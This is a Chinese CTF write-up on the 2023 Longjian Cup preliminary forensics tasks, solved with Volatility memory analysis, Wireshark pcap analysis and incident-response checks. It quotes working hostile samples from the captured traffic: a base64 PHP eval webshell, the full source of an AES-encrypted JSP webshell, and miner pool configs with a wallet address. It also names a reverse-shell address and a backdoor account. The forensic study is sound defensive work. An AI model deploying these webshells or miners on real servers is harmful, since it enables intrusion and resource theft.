2023陇剑杯
2023陇剑杯初赛
陇剑杯初赛的时候正好赶上我在带训 实在不好请假 遗憾错过流量分析杯 遂来复现一手
baby_forensics
1
要key 直接找关于key的文件
.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 filescan | findstr "key"
.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003df94070 -D E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a
导出来 重新命名为key.txt 内容是
E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d
估计还得在操作 随波逐流梭了
thekeyis2e80307085fd2b5c49c968c323ee25d5
2
要计算机就提取计算器的进程
积累一下 计算器在计算机中的进程是calc.exe
.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 pslist
导出来保存为data文件
.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 memdump -p 2844 -D E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a
将1.data放到kali的gimp里面查看图像 需要调一下高度、宽度和偏移值
得到计算器中的数字
7598632541
看wp还学到了一种做法 我们使用vol2的windows插件 并将其另存为windows
文件
.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 windows >windows
在这个文件里面直接翻 计算器的进程calc.exe
直接找到计算器的运行结果
3
在使用r-studio翻找关键文件的时候 在Music文件夹找到一个i4ak3y
文件 打开查看内容 应该是一个解密密钥
qwerasdf
这道题我们需要用到计算机中便签的进程 也就是StikyNot.exe
StikyNot.exe 是Windows操作系统中的一个应用程序,也就是桌面上的便签小工具。它的主要作用是提供一个简单的方式来创建、编辑和管理便签,以便用户可以在桌面上快速记录和查看重要的信息、提醒事项或备忘录。
关于StikyNot.exe 的内存的作用,它主要用于存储和管理用户创建的便签内容。当用户打开StikyNot.exe 应用程序时,操作系统会为该程序分配一定的内存空间,用于存储便签的文本、颜色、位置等信息。这样,当用户关闭应用程序或重新启动计算机时,便签的内容仍然可以被保存下来,以便下次使用时能够恢复之前的状态。
总结来说,StikyNot.exe 的内存的作用是为了存储和管理用户创建的便签内容,确保便签信息的持久性和可恢复性。
找到StikyNot.exe进程并将其提取出来 PID是2968
.\volatility.exe -f E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 memdump -p 2968 -D E:\Desktop\比赛\2023陇剑杯\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a
将后缀改为data 使用gimp打开 调一下宽高
看到一串字符
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
看到U2Fsd
的头 想到很多使用对称加密在线网站的结果都有这个头 在结合上面找到的密码 直接进行解密
也可以直接在内存文件里面翻 有U2Fsd
头的内容进行解密 但是多少还是有点草率
也可以写个check函数帮助筛选内存文件中可能是flag的内容 参考下面文章
#!/bin/bash
check() {
pattern="flag|==|10210897103|666c6167|464C4147|Zmxh|Wm14aFoz|f|58s4vb|2uk2h3|key|pass|pwd|password|hint|U2FsdGVkX1"
> check.txt # 清空或创建 check.txt 文件
grep -irlE "$pattern" 1.raw | while read -r file; do
echo -e "File: $file" >> check.txt
strings "$file" | grep -iE "$pattern" >> check.txt
echo -e "" >> check.txt
done
}
check # 调用 check 函数
echo "检查完成,请查看 check.txt 文件"
ez_web
1
看了一下分组计数器 4xx很多 说明还是存在目录扫描的 我的思路还是先从响应码200的请求包开始找 先筛选一下
http.response.code == 200
不是很多 从上到下翻找一下 第三个包找到了
a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B
到这可能觉得d00r.php
就是正确答案了 但是在比赛的时候提交是不正确的 那就在往上一级找一下 那就是ViewMore.php
2
在上一题后面继续往后翻 看到使用了ifconfig命令 这个包是第10098流
在追踪一下http流 看一下获取ip地址的结果
上面的192.168.160.130是已经出现的 那下面的192.168.160.132就是服务器ip了
192.168.160.132
3
还是一样在http流里面看 先看到读取了passwd文件的内容 7e03864b0db7e6f9
还找到写入了一个base64编码的文件
是个压缩包
将压缩包保存下来 尝试使用上面读取的密码解压 得到key.txt
7d9ddff2-2d67-4eba-9e48-b91c26c42337
hacked
1
追踪register页面可以找到加密算法
<script language="javascript">
crypt_key = 'l36DoqKUYQP0N7e1';
crypt_iv = '131b0c8a7a6e072e';
var key = CryptoJS.enc.Utf8.parse(crypt_key);
var iv = CryptoJS.enc.Utf8.parse(crypt_iv);
function Encrypt(word){
srcs = CryptoJS.enc.Utf8.parse(word);
var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
return encrypted.toString();
}
function print(){
var a = Encrypt(myform.username.value);
var b = Encrypt(myform.password.value);
}
写个解密脚本
from Crypto.Cipher import AES
import base64
crypt_key = b'l36DoqKUYQP0N7e1'
crypt_iv = b'131b0c8a7a6e072e'
def decrypt(ciphertext):
cipher = AES.new(crypt_key, AES.MODE_CBC, crypt_iv)
decrypted = cipher.decrypt(base64.b64decode(ciphertext))
# 移除 PKCS7 填充
decrypted = _remove_pkcs7_padding(decrypted)
return decrypted.decode('utf-8')
def _remove_pkcs7_padding(data):
padding_len = data[-1]
return data[:-padding_len]
# 解密用户名和密码
encrypted_username = "pl3HJGsgs1Zn43qjV5Qx8w=="
decrypted_username = decrypt(encrypted_username)
print('Decrypted Username:', decrypted_username)
encrypted_password = "pl3HJGsgs1Zn43qjV5Qx8w=="
decrypted_password = decrypt(encrypted_password)
print('Decrypted Password:', decrypted_password)
用上面这组用户名和密码 解出来为aaa/aaa
我们同样追踪register页面 找到admIn的那一组就好
flag{WelC0m5_TO_H3re}
2
第68个流看到一串很奇妙的字符 直接搜索SECRET_KEY
解码一下
ssti_flask_hsfvaldb
3
是flask的session注入漏洞 需要用到flask-session-cookie-manager
这个工具来解密session
用法就是
python3 ./flask_session_cookie_manager.py -c cookie密文 -s 密钥
然后在流量包里面解密session值就可以了 密钥就是上面第二题ssti_flask_hsfvaldb
我们直接看回显 像这种正常在页面上回显的基本上没有什么问题
直接找有问题的 一个没有回显 一个回显None
![(https://raw.githubusercontent.com/w3n1z1/blogimage/main/image/202402182139955.png)
求包看到了执行了whoami命令 返回包看到用户是red
因此 flask网站是由red
用户启动的
4
一共就那么几个路由 都试试就出了
Index
hard_web
1
方法一:
看到这种找服务器开放端口的题 其实原理问的就是tcp三次握手 开放了端口肯定存在返回的ACK标志 那便需要我们找ACK标志
先判断服务器的ip地址 这个很好判断就是192.168.162.180
使用tcpdump
tcpdump -n -r /home/kali/Desktop/hard_web.pcap 'tcp[13] =18' | awk '{print $3}' | sort -u
前三个就是 那么开放的端口就是80 888 8888
方法二:
也可以直接在wireshark里面进行筛选 条件语句可以这样写
tcp.connection.synack and ip.dst==192.168.162.188
2
在传入jsp脚本之后 第一次进行命令执行的包处 追踪http流 找到key加密的过程
<%! String xc="748007e861908c03";
class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s,boolean m){
try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s); }catch (Exception e){return null; }
}%>
<%try{
byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);
if (session.getAttribute("payload")==null){
session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters", data);
Object f=((Class)session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
} }catch (Exception e){}%>
可以看到有gunzip和aes aes加密的key也给了748007e861908c03
找到最后一个jsp加密流量 将密文以hex的形式转储
用厨子进行解密
3
直接将aes的解密密钥解md5即可
14mk3y
IncidentResponse
1
首先对服务器进行挂载仿真
题目中给出了登陆服务器的账号密码root/IncidentResponsePasswd
直接登陆root账户
这里我想的是先连上xshell 通过xftp将服务器中的文件下载下来 在使用D盾河马等工具进行扫描
在对服务器进行仿真挂载之后 选择NAT模式 使用ifconfig查看ip地址 会发现没有ens33网卡
找到一篇解决问题的文章【ubuntu虚拟机】ens33未出现在ifconfig问题
ifconfig ens33 up
dhclient ens33
ifconfig
得到ip地址192.168.160.158
当然虚拟机的网络连接模式要选NAT模式
xshell连接成功
使用xftp将文件系统中的文件全部下载下来
然后使用D盾进行扫描
\etc\redis\redis-server
这个文件里面存在后门 看一下文件结构 还是个linux可执行程序 那这个就是挖矿病毒的路径了
进行md5加密
6f72038a870f05cbf923633066e48881
2
由第一题 我们可得挖矿病毒程序在\etc\redis
文件夹下 那在同文件夹下一定还有关于挖矿病毒的文件
找到redis.conf
配置文件
这段代码看起来是关于加密货币挖矿的配置信息,可能是针对 XMRig 软件的配置。让我逐一解释:
"pools": [...]: 这是一个列表,包含了挖矿池的配置信息。
"algo": null: 这里应该指定挖矿所使用的算法,但是目前是空值,可能需要根据具体情况填写。
"coin": null: 指定挖矿的加密货币种类,同样是空值。
"url": "donate.v2.xmrig.com:3333": 挖矿池的地址,通常包括主机名和端口号。
"user": "YOUR_WALLET_ADDRESS": 这里需要填写你的数字货币钱包地址,挖矿所得的货币会发送到这个地址。
"pass": "x": 密码,通常是 'x' 或者是空值。
"rig-id": null: 矿机的标识符,同样是空值。
"nicehash": false: 表示是否使用 NiceHash 挖矿,这里是 false,即不使用 NiceHash。
"keepalive": false: 是否保持挖矿连接活跃,这里是 false。
"enabled": true: 挖矿池是否启用,这里是 true。
"tls": false: 是否使用 TLS/SSL 连接,这里是 false。
"tls-fingerprint": null: TLS/SSL 指纹,同样是空值。
"daemon": false: 是否使用挖矿守护进程模式,这里是 false。
"socks5": null: SOCKS5 代理,同样是空值。
"self-select": null: 自选功能,为空值。
"submit-to-origin": false: 是否将挖矿结果提交到原始地址,这里是 false。
很明显矿池域名是
donate.v2.xmrig.com
3fca20bb92d0ed67714e68704a0a4503
3
查看服务器的历史命令
看到运行jar包之后生成了一个nohup.log
日志文件 在\home\app
文件夹下 在里面看到了很多shiro链 那就是shiro反序列化漏洞
shirodeserialization
3ee726cb32f87a15d22fe55fa04c4dcd
4
直接用last命令看一下登陆记录
这几个就是
81.70.166.3
c76b4b1a5e8c9e7751af4684c6a8b2c9
5
查看nginx服务器的日志文件
cat \var\log\nginx\access.log
直接拉到最后
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)
6ba8458f11f4044cce7a621c085bb3c6
6
猜测是sshd软连接
直接搜一下
history | grep ssh
查看这个文件
UsePAM为YES的话就是通过ssh软连接进行权限维持
再看一下ssh
连接上了kali的ssh
/root/.ssh/authorized_keys
a1fa1b5aeb1f97340032971c342c4258
7
上面提到的redis挖矿病毒也算
/lib/systemd/system/redis.service
这个文件一直在开启redis文件进行自动挖矿
b2c5af8ce08753894540331e5a947d35
SmallSword
1
找到蚁剑连接部分的流量 解一下url编码
6ea280898e404bfabd0ebb702327b19f
看到@ini_set("display_errors", "0");@set_time_limit(0)
这部分前面就是蚁剑连接的密码
6ea280898e404bfabd0ebb702327b19f
2
直接找蚁剑连接的流量包一个个解密看内容就行 这个没什么技巧
需要注意一点蚁剑流量在url编码之前会先进行一次base64加密 但是加密之后可能会在密文前添加不定字符 进行一个简单的免杀 这会使我们在解密的时候 如果不去掉这些额外字符解出来肯定会是乱码
这个冗余字符的长度我们可以观察蚁剑流量传输的代码
下面是例子
$p = base64_decode(substr($_POST["m0300de6257f67"], 2));
substr函数的作用是截取字符串中指定长度的字符
语法是int substr(string str, int start , int length)
那么对于上面这一部分蚁剑流量 就可以理解为他从下标索引为2的字符(实际上就是第三个字符)开始截取 并进行base64解密
那么对于这个流量 我们也可以找到相关的语句 发现他没有进行免杀 直接从头开始解base64
$D=base64_decode($_POST["0x72b3f341e432"]);
解密142条流量包的数据 发现存在写入一个名为hacker.txt
的文件的操作
这部分就是攻击者留存的值
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
3
第130个数据包处进行解密 发现是读取了一个huorong.exe
同时导出http最大的文件也是这个包里面的 名为info1.php
提取出来看一下结构
删掉前面的->|
改名为1.exe
用pyinstxtractor.py来解析一下 发现一个2.pyc
在线反编译一下
会生成一个test.jpg
图片 运行一下 但是需要改下宽高 直接梭了
tcpdump
1
观察整个流量包 很明显的爆破过程是先扫目录 扫到登陆目录在爆破用户名爆破用户密码 先筛选一波
http && ip.src == 172.31.0.2 && ip.dst == 172.31.0.1 && http.response.code == 200
观察发现 当密码不对的时候 状态码是300
继续翻找 发现一个状态码为200的包
追踪tcp流 找到账号和密码
TMjpxFGQwD:123457
法二:
一种新的筛选方法 直接筛选状态码的内容
tcp contains "{\"errCode\":200}"
注意双引号用\转义一下
2
大致了解一下越权漏洞 就是一种越过对特定资源读写的权限的漏洞 分为水平越权和垂直越权 水平就是同级别(权限)的用户 可以越权访问、修改或者删除的非法操作 垂直又分为向下越权和向上越权
通俗来讲就是 当权限验证做的不好的时候 抓包之后修改url后面的用户对应的参数 就可以实现越权访问
观察发现 在密码爆破结束之后是第1585个包 userid=2
拉倒最后 发现userid变成了1 实现了越权漏洞利用
此时的cookie为
accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
进行md5加密
383c74db4e32513daaa1eeb1726d7255
3
没啥技巧 就是翻就完事了 或者同第一题筛选一下也可以
tcp contains "jdbc" && tcp contains "username" && tcp contains "passwd"
zyplayer:1234567
4
在使用jdbc漏洞读取了数据库的账号密码之后 在向下翻找数据包 在1603流的内容中看到了很明显的反弹shell的语句
可以找到这个文件的名字是custom.dtd.xml
那向前翻找一个包 也可以找到这个文件
直接搜一下这段
可以找到漏洞编号为CVE-2022-21724
CVE-2022-21724:custom.dtd.xml
5
看到第1611个流里面 在获取系统权限之后 使用curl命令 下载了fscan工具
fscan
wireshark
1
这个其实很明显了 TCP协议的流量 第一个包是192.168.246.1
向192.168.246.28
发送SYN包 表示建立连接 那肯定192.168.246.28
就是被入侵的主机ip
192.168.246.28
2
也是在追踪tcp的第一个流里面 看到了输入用户名密码成功登陆被入侵主机的记录
youcannevergetthis
3
看到在被入侵主机里面执行了ls
命令
直接横着看就行 第二个是Downloads
4
看到被入侵主机中执行了cat /etc/passwd
命令
那倒数第二个用户名就是mysql
server_save
1
类似与tcpdump4的做法 先找到进入终端的流 是108流 看到是先用python创建了一个交互式终端
向前翻 第106流是一个反弹shell的文件bbbb.sh
第107流就是执行这个反弹shell的码
105流可以看到执行了传入cmd参数 内容是id 回显内容显示此时的用户是root 说明这个时候拿到了root权限
那前面一个流 就是拿到root权限的方法
直接搜一下这句 就找到了CVE编号
CVE-2022-22965
2
这个反弹shell前面已经分析过了
192.168.43.128:2333
3
这个就是翻do文件夹里面的文件系统 在\home\guests
文件夹下找到一个main
文件夹 放到沙箱里面分析一下 就是个elf可执行程序病毒文件
main
4
直接在沙箱里面看分析结果
添加了ll
用户 密码明文为123456
ll:123456
5
在沙箱的异常行为分析中 看到这个病毒文件创建了一个隐藏文件或者系统文件
我们看一下这个.log.txt
那就是这个ip了
172.105.202.239
6
两个文件的话 那应该就是\home\guests\.idea
下的两个文件了 看创建日期也能判断 这是在main运行之后产生的
lolMiner、mine_doge.sh
7、8
都在mine_doge.sh
这个文件夹下了
POOL=doge.millpools.cc:5567
WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker